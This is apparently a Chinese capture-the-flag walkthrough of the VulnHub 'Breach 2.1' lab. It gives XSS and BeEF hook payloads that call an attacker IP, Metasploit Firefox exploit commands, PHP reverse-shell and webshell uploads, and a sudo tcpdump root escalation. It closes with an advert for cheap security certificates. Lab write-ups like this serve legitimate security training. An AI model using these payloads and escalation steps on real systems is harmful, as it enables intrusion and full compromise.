下载链接如下:https://www.vulnhub.com/entry/breach-21,159/
首先靶机的IP是固定的 192.168.110.151 IP地址,nat网络也要是110段,不然扫描不出来IP地址
首先我们使用nmap进行端口扫描,ssh服务换到了65535端口
这个时候没有开启80端口,我们尝试连接一下ssh
发现了账号密码 peter / inthesource,我们登录一下发现自动断开了连接
回头却发现80端口开启了
靶机当然要第一时间查看源码撒
随后使用目录扫描
扫描出来一个blog
对搜索框尝试sql注入
xss尝试成功
<script>alert(111)</script>
接下来打开beef-xss,注意如果遇到了beef-xss下载不了,或者使用不了的话,我们要把他重新下载
apt remove ruby
apt remove beef-xss
apt-get install ruby
apt-get install ruby-dev libpcap-dev
gem install eventmachine
apt-get install beef-xss
这里会先让你输入密码
等待几秒后就会自动打开浏览器,输入账号密码,默认用户为 beef ,密码为你刚刚启动beefxss输入的密码
将下面的payload填入这个搜索框
<script src="http://127.0.0.1:3000/hook.js"></script>
<script src="http://192.168.110.128:3000/hook.js"></script>
这里需要耐心等待几分钟,靶机就能上线了,发现靶机的火狐浏览器版本是15.0,靶机是设置了自动执行这个xss,实际情况需要利用社会工程学
使用漏洞检索工具searchsploit
检索这个版本浏览器的漏洞,发现可以使用msf
那么打开msf
msfconsole
search firefox 15.0
use 0
设置好配置项
use exploit/multi/browser/firefox_proto_crmfrequest
set SRVHOST 192.168.110.128
set URIPATH shell
show payloads
set payload 3
将生成的结果 http://192.168.110.128:8080/shell 填到这个里面
这样子就能执行命令了,但是呢,就立马断开了,这个shell很不稳定,所以我们需要创建一个稳定的shell,使用msf的post/multi/manage/shell_to_meterpreter
模块
use post/multi/manage/shell_to_meterpreter
set session 1
创建交互式终端
python -c "import pty;pty.spawn('/bin/bash')"
我们的80端口默认是访问不了的,需要使用ssh连接一下,才开启的80端口
cat /etc/sshd_config
注意不是ssh_config
,他俩还是有一定区别的
特征 | sshd_config | ssh_config |
---|---|---|
作用对象 | SSH服务器端(sshd 服务) |
SSH客户端(ssh 命令) |
主要配置位置 | /etc/ssh/sshd_config |
/etc/ssh/ssh_config (全局)或~/.ssh/config (用户) |
生效方式 | 修改后需重启sshd 服务 |
每次执行ssh 命令时读取 |
配置目标 | 控制服务器如何响应连接 | 控制客户端如何连接服务器 |
关键配置项 | 端口、认证方式、用户访问控制等 | 端口、私钥路径、用户名、主机别名等 |
只有peter才能登录,并且登录成功后会执行/usr/bin/startme
那么到这就已经很清楚了,为什么连接了一下ssh它的80端口就开启了
我们来看看他的权限,其他用户不能写,只能root用户写,那么这种提权方式就不能使用了
只有当以peter身份成功通过SSH登录时,阿帕奇服务才会被启动,80端口也会随之开启。这主要是由于存在ForceCommand设置。在执行完
/usr/bin/startme
命令后,SSH会话就会结束。由于没有提供一个能够持续运行的交互式Shell,所以SSH连接会立即断开。
echo "exec sh" > .bashrc
这样子就能使用ssh连接了
既然是有密码的,那么我们可以直接sudo,发现能利用的只有apache2
继续信息收集,找到web所在的目录/var/www/html
,blog里的配置文件密码为空
我们登录进去查看表数据,却只得到了我们利用xss登录进来的代码,没有什么用
mysql -uroot -p
# 不用输入密码 直接回车
这里我们切换另一个数据库看看,也就是/var/www/html2
下面的这个cms,得到管理员密码,32admin,可能有用,退出来换root(失败)
在端口信息收集的时候,看到一个不常见的端口,使用telnet
连接的时候却输出了一对经纬度
利用谷歌浏览器进行导航,发现一个位置,那么这个位置可不可能是管理员密码呢?答:可能,但是登录失败。。。。。。
直到我利用telnet
登录这个2323端口,才有了新的突破,他问了一个问题,订书机是谁的?
我们需要在目录下寻找关键词stapler
cd /usr
grep -rno stapler
在结果中看到一个/usr/local
这个目录下通常包含了本地安装的软件,这里我们看到一个cd.py
为什么是/usr下面的文件,而不是其他的地方找?
答:其他目录也可以,这里只是忽略掉了找的过程,比如/var下面的所有文件只有一个index.html包含stapler字符,并没有利用价值。
此时就可以正常输出 Woot 啦!而且用户也切换成功
我们来看看网络的端口,包含了8888端口,而且是tcp协议
测试,这不是html嘛
访问,目录下面有一个oscommerce
点进去看看,又是一个cms
看看后台目录在哪
前面我们看了这个数据库的密码,admin / 32admin,却也禁止登录了
我看了看网上的wp,是需要指定cms的密文解密
而我这。。。。。。
无奈只能凑合登录登录了,当然也可以爆破
我们找到这个目录,普通用户可以读写
我们使用weevely
webshell连接工具生成一个免杀马
上传上去
但是我们打开这个免杀马的时候,里面没有任何内容(可能是文件传输过程中出错了)
并且shell也连不上
那么就换一种方式,用kali自带的webshell进行反弹,我们修改好这里的ip地址喝端口为kali监听的地址和端口
下面找到这个shell.php,访问即可反弹成功
反弹成功我们试试sudo -l,发现它不用我们直接输入密码,有一个tcpdump
提权
我们找到当前的网卡信息
依次执行命令就好
COMMAND='id'
TF=$(mktemp) # 一个临时文件路径
echo "$COMMAND" > $TF # 追加要执行的命令到上面那个文件
chmod +x $TF # 赋予执行权限
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root
# 注意这里 ⬆ 是你需要监听的网卡地址
# 即可提权执行命令
提权执行命令的时候,使用bash,他反弹不成功,我们可以利用刚刚上传上去的php文件进行反弹
执行命令的同时,反弹成功,是root权限,提权成功
感谢观看结束的小师傅们
全网低价证书找我 + baibaixiaoyu2024
包括且不限于cisp,cisp-pte,pts,cissp,cisp-ire,cisa,oscp,osep等等
往期推荐
本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
暂无评论内容